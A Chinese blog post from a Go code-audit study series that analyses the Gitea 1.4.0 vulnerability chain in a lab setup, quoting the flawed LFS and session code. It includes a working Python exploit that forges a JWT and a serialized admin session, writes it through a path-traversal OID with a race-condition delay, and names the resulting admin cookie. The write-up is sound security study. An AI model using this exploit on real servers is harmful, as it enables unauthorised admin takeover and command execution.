Go代码审计学习(二)

环境搭建

Gitea是从gogs衍生出的一个开源项目,是一个类似于Github、Gitlab的多用户Git仓库管理平台。
1.4.0版本中有一处逻辑错误,导致未授权用户可以目录穿越、读写文件、最终导致执行命令。

访问 127.0.0.1:3000
请添加图片描述
请添加图片描述
添加管理员的账号密码,其他选项默认就行,点击安装

添加新仓库
请添加图片描述
请添加图片描述
需要重启一次服务,P神博客里说是因为第一次的时候session并不是保存在文件中,而是内存中,所以需要重启一次

docker-compose restart

漏洞一:代码逻辑错误、没有做有效的鉴权

Modules/lfs/server.go

// post请求处理函数
func PostHandler(ctx *context.Context) {
	if !setting.LFS.StartServer {
	}
	if !MetaMatcher(ctx.Req) {
	}
	rv := unpack(ctx)

	repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)

  // 关键错误逻辑,检查仓库权限
	if !authenticate(ctx, repository, rv.Authorization, true) {
		requireAuth(ctx)
	}

	meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})

	ctx.Resp.Header().Set("Content-Type", metaMediaType)
	sentStatus := 202
	contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
	ctx.Resp.WriteHeader(sentStatus)
}

// 鉴权函数
func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {
	accessMode := models.AccessModeRead
  
  // 检查是不是私人仓库,requireWrite 默认是 true
	if !repository.IsPrivate && !requireWrite {
		return true
	}
  
  // 检查
	if ctx.IsSigned {
		accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
		return accessCheck
	}

	user, repo, opStr, err := parseToken(authorization)
	ctx.User = user
	if opStr == "basic" {
		accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
		return accessCheck
	}
	return false
}

// 鉴权失败
// 发现了吧,就算没有权限也只是简单的设置了一下 header和状态码,然后继续执行 post下面的代码
func requireAuth(ctx *context.Context) {
	ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
	writeStatus(ctx, 401)
}

所以这个漏洞允许未授权的用户为任意的仓库创建 GIT LFS对象

漏洞二:目录穿越、任意文件读取

上面这个漏洞虽然可以创建 LFS对象,但是在读取这个对象代表的文件接口处却没有越权

所以要操作读取,必须要通过一个公开的仓库作为跳板,好在这里可以目录穿越,所以还是完整的

漏洞成因:使用 go-macaron作为WEB框架,其中session插件并没有对session ID 过滤,导致可以目录穿越任意文件

// get请求处理函数
func getMetaHandler(ctx *context.Context) {
	rv := unpack(ctx)
	meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)
  
	ctx.Resp.Header().Set("Content-Type", metaMediaType)

	if ctx.Req.Method == "GET" {
		enc := json.NewEncoder(ctx.Resp)
		enc.Encode(Represent(rv, meta, true, false))
	}
	logRequest(ctx.Req, 200)
}

//鉴权函数
func getAuthenticatedRepoAndMeta(ctx *context.Context, rv *RequestVars, requireWrite bool) (*models.LFSMetaObject, *models.Repository) {
	repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)

  // 鉴权失败直接 return,和post处不同
	if !authenticate(ctx, repository, rv.Authorization, requireWrite) {
		requireAuth(ctx)
		return nil, nil
	}

	meta, err := repository.GetLFSMetaObjectByOid(rv.Oid)
	return meta, repository
}
func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
	// 直接拼接 OID,所以可以../../目录穿越
  path := filepath.Join(s.BasePath, transformKey(meta.Oid))
	// 读取文件
	f, err := os.Open(path)
	if fromByte > 0 {
		_, err = f.Seek(fromByte, os.SEEK_CUR)
	}
	return f, err
}

// 构造路径
func transformKey(key string) string {
	return filepath.Join(key[0:2], key[2:4], key[4:])
}

1、首先需要创建一个 LFS对象
请添加图片描述
2、访问这个 LFS对象
请添加图片描述

漏洞三:条件竞争

func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))
	tmpPath := path + ".tmp"
	// 生成 tmp临时文件
	dir := filepath.Dir(path)
	if err := os.MkdirAll(dir, 0750); err != nil {
		return err
	}
	
	file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
	// defer 函数返回后又删除 tmp临时文件
  // 需要想办法让文件被删除之前就被利用
	defer os.Remove(tmpPath)

	hash := sha256.New()
	hw := io.MultiWriter(hash, file)

	written, err := io.Copy(hw, r)
	file.Close()

	return os.Rename(tmpPath, path)
}

go和PHP又不一样,PHP还可以条件竞争写马然后执行命令,go的话想要写定时任务,但是没有权限

继续看P神的思路,伪造session提升权限

BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
// 生成 11vulhub.tmp 文件
SESSION_ID = '11vulhub'
// 这段16进制就是session伪造的数据,{"_old_iod": "1", "uid": uid, "uname": "vulhub" },序列化后再16进制编码
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')

def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)

    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)
    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()

// 数据发送过去,并sleep300秒再删除文件
def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''

OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
})
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })

漏洞四:钩子函数执行命令

上面的session写进去了的话,我们只需要cookie带上就是管理员权限,i_like_gitea=11vulhub.tmp

/cmd/hook.go

三个钩子函数都一样的,是在执行 git操作时,会被自动被执行的一段代码

请添加图片描述
请添加图片描述

参考链接

GOGS/Gitea利用流程

gitea 远程命令执行漏洞链

cve-2018-18925

cve-2018-18926

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值